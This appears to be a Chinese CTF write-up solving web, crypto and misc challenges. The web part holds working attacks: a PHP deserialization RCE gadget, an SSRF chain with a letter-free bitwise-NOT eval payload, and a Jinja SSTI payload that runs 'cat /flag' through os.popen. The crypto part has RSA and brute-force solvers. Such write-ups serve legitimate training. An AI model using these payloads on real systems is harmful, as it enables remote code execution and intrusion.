Web

web1

打开后网站显示nothing,自此其他师傅说还是dirsearch好用,御剑扫描量太大了

dirsearch目录扫描

image-20241208164215694

其中

1
2
3
4
5
6
7
8
9
10
<?php
class Flag{
public $cmd='whoami';
public function __destruct()
{
system($this->cmd);
}
}
unserialize($_GET['flag']);
?>

一个简单的反序列化

image-20241208170857499

Web2

弱密码爆出密码为password,提示非本地用户,xff绕过无果,有提示快照,在输入用户处构造ssrf的本地用户

http://127.0.0.1/fllllag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);

if (isset($_GET['flag'])) {
$flag = $_GET['flag'];

if (preg_match('/\s|\t|\r|\n|\+/', $flag)) {
die("waf!");
}


if (preg_match('/\[|\^|\]|\"|\\-|\\$|\*|\?|\<|\>|\\=|\`/', $flag)) {
die("waf!!");
}

if (preg_match('/[a-zA-Z]/i', $flag)) {
die("waf!!");
}

echo "你能拿到flag么?";
eval($flag);
} else {
echo "细心观察";
}
} else {
echo("非本地用户");
}
?>

构造无字母取反rce

1
2
3
4
5
6
<?php
$ans1='system';//函数名
$ans2='cat 327a6c4304ad5938eaf0efb6cc3e53dc.php';//命令
$data1=('~'.urlencode(~$ans1));
$data2=('~'.urlencode(~$ans2));
echo ('('.$data1.')'.'('.$data2.')'.';');
1
adminUser=http%3A%2F%2F127.0.0.1%2Ffllllag.php?flag=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%CC%CD%C8%9E%C9%9C%CB%CC%CF%CB%9E%9B%CA%C6%CC%C7%9A%9E%99%CF%9A%99%9D%C9%9C%9C%CC%9A%CA%CC%9B%9C%D1%8F%97%8F);&adminPwd=

image-20241208141824835

Web3

过滤了双括号

{%print()%}绕过,最后直接现成函数self打

1
{"name":"{%print(self.__init__.__globals__.__builtins__['__import__']('os').popen('cat /flag').read())%}"}

image-20241208141950249

Web4

image-20241208121047658

Crypto

Affine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
flag = "flag{*********}"
def extended_gcd(a, b):
if a == 0:
return (b, 0, 1)
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return (gcd, x, y)

def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m)
return x % m

m = 128
b = 3

def encrypt(text):
encrypted = []
for char in text:
ascii_code = ord(char)
a = 3 if ascii_code % 2 != 0 else 127
encrypted_char = (a * ascii_code + b) % m
encrypted.append(encrypted_char)
return encrypted


output = encrypt(flag)
print(output)
#[29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46, 75, 33, 122]

extended_gcdmod_inverse用于计算模逆元

对于一个整数a,如果存在另一个整数x,使得:

也就是余数为1,则称x为a关于模m的乘法逆元,简称模逆元

下面是一个仿射密码,其判断flag每个字符ASCII值的奇偶来确定a的取值

仿射密码解密公式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def extended_gcd(a, b):
if a == 0:
return (b, 0, 1)
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return (gcd, x, y)

def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m)
return x % m

m = 128
b = 3

def decrypt(encrypted):
decrypted = []
for enc_char in encrypted:
enc_char = (enc_char - b) % m

a = 3 if enc_char % 2 != 0 else 127

a_iv = mod_inverse(a, m)

ascii_code = (a_iv * enc_char) % m
decrypted_char = chr(ascii_code)
decrypted.append(decrypted_char)

return ''.join(decrypted)

output = [29, 23, 38, 56, 116, 34, 81, 75, 28, 44, 34, 44, 40, 10, 31, 79, 29, 44, 10, 79, 29, 44, 40, 10, 38, 33, 38, 50, 10, 79, 44, 31, 50, 28, 33, 44, 77, 31, 46, 75, 33, 122]
decrypted_flag = decrypt(output)
print(decrypted_flag)

ez_moooo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from functools import reduce
flag = "flag{*******}"
def cube_ascii(s: str) -> int:
total = 0
for char in s:
total <<= 8
total +=pow(ord(char),3) % 113
return total


allowed_characters = "abcdefghijklmnopqrstuvwxyz012345676879_-{}"
assert(reduce(lambda is_valid, char: is_valid and (char in allowed_characters), flag, True))

# 进行加密
output = cube_ascii(flag)
print(output)
#13886761501271471256742975735606875665043393810046672609286397781950883002410651016649476270428546593

cube_ascii函数对flag每个字符先进行向左移8位,相当于*256

1
2
3
4
5
6
7
假设一个数 1010 (二进制) = 10 (十进制)

左移1位:
10100 = 20 (十进制) // 相当于 10 * 2

左移2位:
101000 = 40 (十进制) // 相当于 10 * 2 * 2 = 10 * 4

然后验证 flag 中的每个字符都在允许的字符集中

我们通过allowed_characters确定所有允许字符的立方模113结果到字符的映射,之前从左到右,现在就从右到左还原即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def cr(output: int) -> str:
allowed_characters = "abcdefghijklmnopqrstuvwxyz012345676879_-{}"
result = []

while output > 0:
last_eight = output & ((1 << 8) - 1)
for char in allowed_characters:
if (pow(ord(char), 3) % 113) == last_eight:
result.append(char)
break
output >>= 8

return ''.join(result[::-1])

output = 13886761501271471256742975735606875665043393810046672609286397781950883002410651016649476270428546593
flag = cr(output)
print(flag)

ez_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import libnum
from Crypto.Util.number import *
from gmpy2 import gcd

flag = b"flag{*********}"
m1 = libnum.s2n(flag[:18])
m2 = bytes_to_long(flag[18:])
p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1
e1 = 0x10001
c1 = pow(m1, e1, n1)
hint1 = p1 & q1
hint2 = p1 | q1

print(f'n1={n1}')
print(f'c1={c1}')
print(f'hint1={hint1}')
print(f'hint2={hint2}')

p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
e = 0x3
c2 = pow(m2, e, n2)
hint3 = p1*p2+q1*q2

print(f"c2 = {c2}")
print(f"n2 = {n2}")
print(f"hint3 = {hint3}")

# n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
# c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
# hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
# hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
# c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
# n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
# hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

对于前半部分

1
2
3
hint1 = p1 & q1
hint2 = p1 | q1
p + q = (p∣q) + (p & q)

无进位部分p∣q,它表示不考虑进位的情况下各位的和。

进位部分p&q,它表示只有在两个数的对应位都为 1 时才会有进位

因此解一个方程即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sympy import symbols, solve

n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

plus = hint1 + hint2
multiplication = n1

p1, q1 = symbols('p1 q1')
eq1 = p1 + q1 -plus
eq2 = p1*q1 - multiplication

sol = solve((eq1, eq2), (p1, q1))
print(sol)
1
(7847958105320818197925159136669346572180983459776391007543923895008548978729306938925814051052527871174048895728496302815429246344989795963579392121545747, 13354237888937622480764378427087321959305921742650201381585972413459165087825082437550882496804746083897973849219219470541932605194772174467874681909597023)

后半部分低加密指数攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import gmpy2
from Crypto.Util.number import *

n1=104803499480870386721537859758099203109331198777598222679085332319843634133277664207132715980491635286369435568392948520996716629229045835458101718776021067687639819960151582826151016379360702255558855924237164041839629648779474497583878687357197717633109486259932721636114000744017464535339102439372629511181
c1=258237062635320301593575424053133939031291470395564726247322634339023681114277060601441361065411547766696430126753240323385082752004517537721944059687823992965956167530242913140083306711561873363317164195518421594789543766263725648552530712086398318806583420313356753465704190466892101760494299094084372066
hint1=7795583829027195905098378518841836562665170646143221276306879199519593629647803207777092866296906064096364673810612759721990880687404270257111673022611475
hint2=13406612165231244773591159044914831968821734556283371112823017108948120436906586168699603681560367890975658071137103013635370970852357700174342401008531295
c2 = 1361719901112289653500688221887423319847489954365641888597751806416030068330222131419512032202743347772481089917456722603445810407504317828423566766739135539673341278912357
n2 = 17377956345671192037376204148281908519109216638710686731681216872688832763406331530133053512892040231309808439931565430698221414038833167338347795590727052223094140639079039908655830636810928233991055924349419514548194785948465808270521602513107617010519604108629986216102499894362393343017059997300375831769154725504033592533244494903926576851097711976797710615933151398854952757800885791902874009427703420809465676792289820335413912919868937049702745879259962112866293026589889134349774504858682436037859261791058617864587856389374126388908339950889228010546500800328111189027357042923953753790174937230316365689299
hint3 = 2979463055819568967739587794317478758457080575342509137759533589992512556188711404867503427529575474793179602667067241298157928169001173655029360115612897492671251718713221606068633849524836696516494868954888951258387077768278851843194406106111746523801789681839129657180219071204292703851243788367130874633062814815521700040288870873254219971259819946313141886462043553254461378983177286659705414902132948381127424226403681699085898956656526637033546417509224320

p1 = 7847958105320818197925159136669346572180983459776391007543923895008548978729306938925814051052527871174048895728496302815429246344989795963579392121545747
q1 = 13354237888937622480764378427087321959305921742650201381585972413459165087825082437550882496804746083897973849219219470541932605194772174467874681909597023
e1 = 65537
e2 = 3

d1 = gmpy2.invert(e1, (p1-1)*(q1-1))
m1 = pow(c1, d1, n1)

def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1

m2 = de(c2,e2,n2)
print(long_to_bytes(m1)+long_to_bytes(m2))

What is this encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import os
import hashlib
import hmac
import secrets
from base64 import b64encode
from typing import Dict


class WhatisthisEncryption:

def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = self._generate_sbox()
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

def _generate_sbox(self) -> Dict[int, int]:
numbers = list(range(256))
secrets.SystemRandom().shuffle(numbers)
return {i: numbers[i] for i in range(256)}

def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(
stretched_key + salt + str(i).encode()
).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

def _apply_substitution(self, data: bytes, encrypt: bool = True) -> bytes:
sbox = self._substitution_box if encrypt else self._inverse_sbox
return bytes(sbox[b] for b in data)

def _custom_xor_round(self, data: bytes, round_key: bytes) -> bytes:
result = bytearray(len(data))
for i in range(len(data)):
key_byte = round_key[i % len(round_key)]
transform = (key_byte * (i + 1)) % 256
result[i] = data[i] ^ key_byte ^ transform
return bytes(result)

def _pad(self, data: bytes) -> bytes:
padding_length = 16 - (len(data) % 16)
return data + bytes([padding_length] * padding_length)

def encrypt(self, message: str, master_password: str) -> Dict[str, str]:
salt = os.urandom(16)
iv = os.urandom(16)

message_bytes = message.encode("utf-8")
padded_message = self._pad(message_bytes)

master_key = hashlib.pbkdf2_hmac(
"sha256", master_password.encode(), salt, 100000
)

current_data = padded_message

for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

return {
"ciphertext": b64encode(current_data).decode("utf-8"),
"salt": b64encode(salt).decode("utf-8"),
"iv": b64encode(iv).decode("utf-8"),
"mac": b64encode(mac).decode("utf-8"),
"substitution_box": self._substitution_box,
}


def main():
encryptor = WhatisthisEncryption(rounds=3)
flag = "flag{**********}"
password = "***" #三位密钥,由小写字母和数字组成

encrypted_data = encryptor.encrypt(flag, password)
print("\nEncrypted data:")
for key, value in encrypted_data.items():
print(f"{key}: {value}")


if __name__ == "__main__":
main()

# Encrypted data:
# ciphertext: hkR7MynjZ8q+SWt2slweibeV6A9VzteUmFk5N5bq3uTQamn2DA+SppM7JRyTovhh
# salt: AVuGySi1RQCXZCnA+MnW2Q==
# iv: YWnqcnUCTXPySJDnnTIMvw==
# mac: rxSfQmSLqBPolmRRDgg0iNlMy16oc9SnGXl8vuXODls=
# substitution_box: {0: 21, 1: 35, 2: 71, 3: 126, 4: 233, 5: 178, 6: 26, 7: 151, 8: 138, 9: 227, 10: 156, 11: 17, 12: 14, 13: 86, 14: 146, 15: 195, 16: 41, 17: 171, 18: 107, 19: 168, 20: 139, 21: 208, 22: 48, 23: 137, 24: 109, 25: 25, 26: 120, 27: 62, 28: 70, 29: 50, 30: 40, 31: 102, 32: 248, 33: 7, 34: 141, 35: 136, 36: 28, 37: 140, 38: 49, 39: 124, 40: 82, 41: 117, 42: 236, 43: 161, 44: 210, 45: 132, 46: 237, 47: 182, 48: 95, 49: 175, 50: 207, 51: 231, 52: 170, 53: 217, 54: 249, 55: 250, 56: 67, 57: 130, 58: 1, 59: 91, 60: 174, 61: 224, 62: 186, 63: 99, 64: 3, 65: 60, 66: 73, 67: 68, 68: 222, 69: 163, 70: 75, 71: 128, 72: 18, 73: 200, 74: 219, 75: 133, 76: 179, 77: 92, 78: 162, 79: 84, 80: 90, 81: 131, 82: 110, 83: 196, 84: 52, 85: 63, 86: 205, 87: 38, 88: 154, 89: 58, 90: 147, 91: 148, 92: 85, 93: 211, 94: 33, 95: 8, 96: 127, 97: 206, 98: 123, 99: 247, 100: 190, 101: 108, 102: 153, 103: 96, 104: 88, 105: 220, 106: 98, 107: 94, 108: 244, 109: 81, 110: 173, 111: 101, 112: 157, 113: 184, 114: 106, 115: 209, 116: 229, 117: 245, 118: 55, 119: 251, 120: 164, 121: 100, 122: 125, 123: 252, 124: 83, 125: 39, 126: 159, 127: 185, 128: 149, 129: 46, 130: 166, 131: 116, 132: 241, 133: 76, 134: 160, 135: 22, 136: 172, 137: 180, 138: 253, 139: 238, 140: 30, 141: 53, 142: 15, 143: 42, 144: 34, 145: 27, 146: 103, 147: 12, 148: 66, 149: 121, 150: 79, 151: 32, 152: 246, 153: 44, 154: 57, 155: 228, 156: 134, 157: 143, 158: 218, 159: 112, 160: 216, 161: 10, 162: 198, 163: 118, 164: 93, 165: 144, 166: 230, 167: 201, 168: 61, 169: 142, 170: 191, 171: 199, 172: 59, 173: 214, 174: 226, 175: 152, 176: 9, 177: 192, 178: 202, 179: 29, 180: 13, 181: 78, 182: 89, 183: 11, 184: 74, 185: 6, 186: 194, 187: 104, 188: 72, 189: 232, 190: 254, 191: 37, 192: 105, 193: 240, 194: 155, 195: 80, 196: 129, 197: 19, 198: 158, 199: 115, 200: 51, 201: 242, 202: 181, 203: 113, 204: 176, 205: 145, 206: 213, 207: 24, 208: 234, 209: 239, 210: 243, 211: 183, 212: 31, 213: 225, 214: 97, 215: 119, 216: 255, 217: 47, 218: 212, 219: 204, 220: 43, 221: 187, 222: 0, 223: 188, 224: 193, 225: 111, 226: 87, 227: 45, 228: 2, 229: 114, 230: 4, 231: 203, 232: 165, 233: 150, 234: 65, 235: 167, 236: 169, 237: 223, 238: 56, 239: 235, 240: 54, 241: 16, 242: 177, 243: 23, 244: 135, 245: 215, 246: 197, 247: 221, 248: 36, 249: 77, 250: 69, 251: 5, 252: 20, 253: 64, 254: 189, 255: 122}

我们先来看WhatisthisEncryption这个类的工作原理

初始化阶段

1
2
3
4
def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = self._generate_sbox()
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

初始化阶段,设置加密轮数(默认3轮);生成随机替换盒和其逆替换盒,其实现为_generate_sbox()

随机替换盒

1
2
3
4
def _generate_sbox(self) -> Dict[int, int]:
numbers = list(range(256))
secrets.SystemRandom().shuffle(numbers)
return {i: numbers[i] for i in range(256)}

先生成一个包含 0 到 255 的所有整数的列表,然后随机打乱 numbers 列表中的元素顺序,结果返回一个包含 256 个键值对的字典,每个键对应一个被随机化的值

逆替换盒生成的字典将原来的值 v 作为新的键,原来的键 k 作为新的值,从而实现反向映射

密钥扩展

1
2
3
4
5
6
7
8
9
def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(
stretched_key + salt + str(i).encode()
).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

接收加盐的密钥,进行1000次迭代,每次迭代对当前的 stretched_keysalt 以及当前的迭代计数 i进行哈希处理;在偶数的迭代中,使用替换盒(_generate_sbox)对生成的 stretched_key 进行字节替换

主加密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def encrypt(self, message: str, master_password: str) -> Dict[str, str]:
salt = os.urandom(16)
iv = os.urandom(16)

message_bytes = message.encode("utf-8")
padded_message = self._pad(message_bytes)

master_key = hashlib.pbkdf2_hmac(
"sha256", master_password.encode(), salt, 100000
)

current_data = padded_message

for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

return {
"ciphertext": b64encode(current_data).decode("utf-8"),
"salt": b64encode(salt).decode("utf-8"),
"iv": b64encode(iv).decode("utf-8"),
"mac": b64encode(mac).decode("utf-8"),
"substitution_box": self._substitution_box,
}

初始化盐salt和随机向量IV,调用 _pad 方法对消息进行填充,使用 PBKDF2 算法对主密码进行密钥派生(使用了盐和 100000 次迭代);

1
2
3
4
5
6
7
8
9
10
for round_num in range(self.rounds):
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)

current_data = self._apply_substitution(current_data)
current_data = self._custom_xor_round(current_data, round_key)
current_data = bytes(
(b + round_num + i) % 256 for i, b in enumerate(current_data)
)

这里执行多次轮加密,先利用主密钥、轮次编号、盐、向量进行密钥拉伸,接着对刚才填充后的数据中的每个字节基于替换盒的映射进行转换(_apply_substitution),其次又进行自定义的异或运算(_custom_xor_round),最后每个字节b都会加上当前的轮次编号和其在数据中的索引i,然后再对256取模

1
mac = hmac.new(master_key, current_data, hashlib.sha256).digest()

使用 HMAC-SHA256 生成消息认证码,确保数据的完整性

最后返回各个结果

由于密码很短,给了我们爆破的可能性,当mac验证匹配后就找到了正确的密钥,剩下的就是逆向了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import base64
import hashlib
import hmac
import itertools
import string

class WhatisthisDecryption:
def __init__(self, rounds: int = 3):
self.rounds = rounds
self._substitution_box = {0: 21, 1: 35, 2: 71, 3: 126, 4: 233, 5: 178, 6: 26, 7: 151, 8: 138, 9: 227, 10: 156, 11: 17, 12: 14, 13: 86, 14: 146, 15: 195, 16: 41, 17: 171, 18: 107, 19: 168, 20: 139, 21: 208, 22: 48, 23: 137, 24: 109, 25: 25, 26: 120, 27: 62, 28: 70, 29: 50, 30: 40, 31: 102, 32: 248, 33: 7, 34: 141, 35: 136, 36: 28, 37: 140, 38: 49, 39: 124, 40: 82, 41: 117, 42: 236, 43: 161, 44: 210, 45: 132, 46: 237, 47: 182, 48: 95, 49: 175, 50: 207, 51: 231, 52: 170, 53: 217, 54: 249, 55: 250, 56: 67, 57: 130, 58: 1, 59: 91, 60: 174, 61: 224, 62: 186, 63: 99, 64: 3, 65: 60, 66: 73, 67: 68, 68: 222, 69: 163, 70: 75, 71: 128, 72: 18, 73: 200, 74: 219, 75: 133, 76: 179, 77: 92, 78: 162, 79: 84, 80: 90, 81: 131, 82: 110, 83: 196, 84: 52, 85: 63, 86: 205, 87: 38, 88: 154, 89: 58, 90: 147, 91: 148, 92: 85, 93: 211, 94: 33, 95: 8, 96: 127, 97: 206, 98: 123, 99: 247, 100: 190, 101: 108, 102: 153, 103: 96, 104: 88, 105: 220, 106: 98, 107: 94, 108: 244, 109: 81, 110: 173, 111: 101, 112: 157, 113: 184, 114: 106, 115: 209, 116: 229, 117: 245, 118: 55, 119: 251, 120: 164, 121: 100, 122: 125, 123: 252, 124: 83, 125: 39, 126: 159, 127: 185, 128: 149, 129: 46, 130: 166, 131: 116, 132: 241, 133: 76, 134: 160, 135: 22, 136: 172, 137: 180, 138: 253, 139: 238, 140: 30, 141: 53, 142: 15, 143: 42, 144: 34, 145: 27, 146: 103, 147: 12, 148: 66, 149: 121, 150: 79, 151: 32, 152: 246, 153: 44, 154: 57, 155: 228, 156: 134, 157: 143, 158: 218, 159: 112, 160: 216, 161: 10, 162: 198, 163: 118, 164: 93, 165: 144, 166: 230, 167: 201, 168: 61, 169: 142, 170: 191, 171: 199, 172: 59, 173: 214, 174: 226, 175: 152, 176: 9, 177: 192, 178: 202, 179: 29, 180: 13, 181: 78, 182: 89, 183: 11, 184: 74, 185: 6, 186: 194, 187: 104, 188: 72, 189: 232, 190: 254, 191: 37, 192: 105, 193: 240, 194: 155, 195: 80, 196: 129, 197: 19, 198: 158, 199: 115, 200: 51, 201: 242, 202: 181, 203: 113, 204: 176, 205: 145, 206: 213, 207: 24, 208: 234, 209: 239, 210: 243, 211: 183, 212: 31, 213: 225, 214: 97, 215: 119, 216: 255, 217: 47, 218: 212, 219: 204, 220: 43, 221: 187, 222: 0, 223: 188, 224: 193, 225: 111, 226: 87, 227: 45, 228: 2, 229: 114, 230: 4, 231: 203, 232: 165, 233: 150, 234: 65, 235: 167, 236: 169, 237: 223, 238: 56, 239: 235, 240: 54, 241: 16, 242: 177, 243: 23, 244: 135, 245: 215, 246: 197, 247: 221, 248: 36, 249: 77, 250: 69, 251: 5, 252: 20, 253: 64, 254: 189, 255: 122}
self._inverse_sbox = {v: k for k, v in self._substitution_box.items()}

def _key_stretching(self, key: bytes, salt: bytes) -> bytes:
stretched_key = key
for i in range(1000):
stretched_key = hashlib.sha256(stretched_key + salt + str(i).encode()).digest()
if i % 2 == 0:
stretched_key = bytes(self._substitution_box[b] for b in stretched_key)
return stretched_key

def _apply_substitution(self, data: bytes, encrypt: bool = True) -> bytes:
sbox = self._substitution_box if encrypt else self._inverse_sbox
return bytes(sbox[b] for b in data)

def _custom_xor_round(self, data: bytes, round_key: bytes) -> bytes:
result = bytearray(len(data))
for i in range(len(data)):
key_byte = round_key[i % len(round_key)]
transform = (key_byte * (i + 1)) % 256
result[i] = data[i] ^ key_byte ^ transform
return bytes(result)

def decrypt(self, encrypted_data: dict, password: str) -> str:
ciphertext = base64.b64decode(encrypted_data['ciphertext'])
salt = base64.b64decode(encrypted_data['salt'])
iv = base64.b64decode(encrypted_data['iv'])
mac = base64.b64decode(encrypted_data['mac'])

master_key = hashlib.pbkdf2_hmac(
"sha256", password.encode(), salt, 100000
)

# 验证MAC
calculated_mac = hmac.new(master_key, ciphertext, hashlib.sha256).digest()
if calculated_mac != mac:
return None

current_data = ciphertext

# 逆向每一轮加密
for round_num in range(self.rounds - 1, -1, -1):
# 逆向位置依赖的偏移
current_data = bytes((b - round_num - i) % 256 for i, b in enumerate(current_data))
# 生成轮密钥
round_key = self._key_stretching(
master_key + round_num.to_bytes(4, "big"), salt + iv
)
# 逆向XOR运算
current_data = self._custom_xor_round(current_data, round_key)
# 逆向替换盒
current_data = self._apply_substitution(current_data, encrypt=False)
# 移除填充
padding_length = current_data[-1]
plaintext = current_data[:-padding_length]

try:
return plaintext.decode('utf-8')
except:
return None

def crack_password():
encrypted_data = {
'ciphertext': 'hkR7MynjZ8q+SWt2slweibeV6A9VzteUmFk5N5bq3uTQamn2DA+SppM7JRyTovhh',
'salt': 'AVuGySi1RQCXZCnA+MnW2Q==',
'iv': 'YWnqcnUCTXPySJDnnTIMvw==',
'mac': 'rxSfQmSLqBPolmRRDgg0iNlMy16oc9SnGXl8vuXODls='
}

decryptor = WhatisthisDecryption()

# 生成所有可能的3位密码
chars = string.ascii_lowercase + string.digits
for password in itertools.product(chars, repeat=3):
password = ''.join(password)
result = decryptor.decrypt(encrypted_data, password)
if result and result.startswith('flag{'):
print(f"找到密码: {password}")
print(f"解密结果: {result}")
return
crack_password()
1
2
找到密码: ca9
解密结果: flag{86a886d4-28ca-44f8-81ff-1b7be9c4968c}

pacKKKK

背包密码,格密码下的一个分支,这个要重新学了,以前遇到过一个NTRU算法,但当时学的太难了,先搁着吧,空了在学

Misc

签到题

逐帧查看

image-20241208160129860

image-20241208160149142

osint

c87624d24e612a85ad23017b6ef97995

2dc58c6ce76eedb9e2552c60ee783f04_720

九九归一

1
69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 45 6c 45 51 56 52 34 6e 4d 32 51 73 51 33 41 4d 41 67 45 6a 38 67 39 33 6e 2f 4b 5a 34 4a 50 45 62 6d 4c 6f 50 55 33 67 48 51 36 42 48 42 64 62 41 75 65 4d 2f 34 32 46 51 46 71 6d 41 57 34 30 4f 41 42 79 49 35 5a 58 39 6b 31 65 47 4a 33 4b 79 44 41 55 43 31 7a 30 74 30 46 6b 50 4c 6b 73 58 4c 38 54 79 52 69 4e 38 77 4c 45 50 55 54 41 79 77 36 2b 73 45 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 58 30 6c 45 51 56 52 34 6e 49 57 52 4d 51 36 41 4d 41 77 44 4c 34 6a 64 2f 50 2b 56 37 67 76 4d 55 42 59 45 53 6a 70 5a 36 75 57 69 4a 41 57 43 6c 54 70 34 33 6a 63 41 4d 59 35 37 42 69 77 4e 6a 43 78 50 6a 42 58 39 66 62 30 59 4b 35 4d 6e 63 75 38 70 79 4c 71 79 68 6c 34 4b 70 47 4e 32 38 44 56 34 77 45 33 35 44 6f 46 2b 72 67 4d 71 71 74 5a 